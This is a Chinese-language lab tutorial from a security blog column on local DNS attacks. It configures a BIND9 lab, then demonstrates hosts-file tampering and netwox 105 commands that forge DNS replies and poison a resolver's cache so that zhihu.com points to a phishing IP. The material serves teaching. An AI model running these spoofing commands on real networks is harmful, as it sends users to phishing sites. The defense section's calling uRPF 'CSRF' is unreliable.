網路安全live第三期:網路安全-本地DNS攻擊

網路安全live第三期:網路安全-本地DNS攻擊

來自專欄 ath0的安全筆記

本期live互動、答疑相關問題歸檔(有視頻):

【網路安全】釣魚網站本質本地DNS?

www.zhihu.com圖標

視頻中出現了一個小錯誤:

在第一個實驗之後,一定要將/etc/hosts文件中添加的信息移除!!否則,查看不到緩存中的數據!!!

專欄的實驗現象才是正確的現象,學生在自己動手做實驗的時候需要注意.理解萬歲!!!

移除:192.168.59.1 zhihu.com


釣魚網站本地DNS攻擊

當你瀏覽器中敲下知乎域名電腦做了什麼?

  • 訪問網站概述

1.解析URL

2.DNS查詢

2.1.查詢本地瀏覽器DNS緩存

chrome://net-internals/#dnsfirefox: about:config

2.2.查詢本地hosts文件

/etc/hosts

2.3.查詢本地DNS伺服器

2.4.查詢上級DNS伺服器

  • DNS協議概述

DNS(Domain Name System)通俗的講就是手機號碼和姓名備註的系統.

比如我自己的黑客筆記

域名是:hackbiji.top(isgt93.github.io)

IP地址:192.30.252.154

你更願意選擇輸入什麼?DNS就是將IP地址和域名對應起來的!

  • 為什麼黑客能通過DNS協議釣魚

DNS欺騙示意圖:

DNS緩存中毒示意圖:

攻擊環境配置

  • 虛擬機各主機地址

攻擊者:192.168.59.1普通用戶:192.168.59.146DNS伺服器:192.168.59.151

  • DNS伺服器環境配置

1.安裝bind9

2.在/etc/bind/named.conf.options文件中添加:

options {dump-file "/var/cache/bind/dump.db";};

3.添加文件/var/cache/bind/example.com.db,內容如下:

$TTL 3D@ IN SOA ns.example.com. admin.example.com. ( 2008111001 8H 2H 4W 1D)@ IN NS ns.example.com.@ IN MX 10 mail.example.com.www IN A 192.168.59.151mail IN A 192.168.59.151ns IN A 192.168.59.151*.example.com. IN A 192.168.59.151

4.添加文件192.168.59,內容如下:

$TTL 3D@ IN SOA ns.example.com. admin.example.com. ( 2008111001 8H 2H 4W 1D)@ IN NS ns.example.com.151 IN PTR www.example.com.151 IN PTR mail.example.com.151 IN PTR ns.example.com.

5.重啟服務service bind9 restart.

普通用戶環境配置

  1. 編輯/etc/resolv.conf文件的nameserver欄位為DNS伺服器IP地址.
  2. ping www.example.com能ping通則說明配置成功!
  3. 通過nslookup查看www.example.com的IP地址為192.168.59.151.

root@ubuntu:/etc/bind# nslookup www.example.comServer: 127.0.1.1Address: 127.0.1.1#53Name: www.example.comAddress: 192.168.59.151

攻擊DNS協議

  • 不要讓黑客接觸你的電腦,他會做什麼?

    黑客會在etchosts文件中添加下面的欄位,將網址強行映射到一個錯誤的IP地址!

192.168.59.151 zhihu.com192.168.59.151 www.zhihu.com

實際效果如圖所示:

  • 不要相信黑客偽造的DNS應答報文,他怎麼偽造的?

netwox 105 -h "zhihu.com" -H "192.168.59.151" -a "ns.example.com" -A "192.168.59.151" -f "src host 192.168.59.146" -d vmnet8 -T 10

欺騙瀏覽器,告訴瀏覽器zhihu.com的IP地址是192.168.59.151,而這個錯誤的IP地址往往就是釣魚網站!

實際效果如圖所示:

  • 小心把控DNS伺服器Cache時間,嚴防DNS Cache中毒!

咱們不欺騙普通主機了,現在來欺騙一下DNS伺服器,讓DNS伺服器緩存中毒!

netwox 105 -h "www.zhihu.com" -H "192.168.59.2" -a "ns.example.com" -A "192.168.59.2" -f "src host 192.168.59.152" -d vmnet8 -s "raw"

實際效果如圖所示:

來看看普通用戶知乎的IP地址

來看看咱們的DNS伺服器緩存

# rndc flush# rndc dumpdb -cache# cat /var/cache/bind/dump.db | grep zhihu

如何防禦DNS攻擊?

  1. 平時注意不要相信陌生人的電話
  2. 技術層面的CSRF防禦

CSRF可以有效的針對地址欺騙類的攻擊,嚴格模式有 2 個條件,只有同時滿足兩個條件的報文,才會被檢測通過.

條件 1:在路由器轉發表中,存在去往報文源地址的路由信息.

條件 2:報文的入介面與轉發表中去往源地址路由的出介面一致.

在Router C 上配置嚴格型 URPF,當攻擊者偽裝源地址為 Normal User 地址,

報文由 RA 介面進入 Router C,由於在 Router C 的轉發表中,

去往源地址Normal User 的路由出介面為 RB,而偽造報文的入介面為 RA,

該偽造報文在Router C 上直接丟棄,並且在對稱路由中 Normal User 可以正常訪問 Server.

如圖所示:

3.其他以後再說


推薦閱讀:

守護者觀察 | 三分鐘教你破解新型網路釣魚

TAG:網路安全 | 黑客Hacker | 釣魚網站 |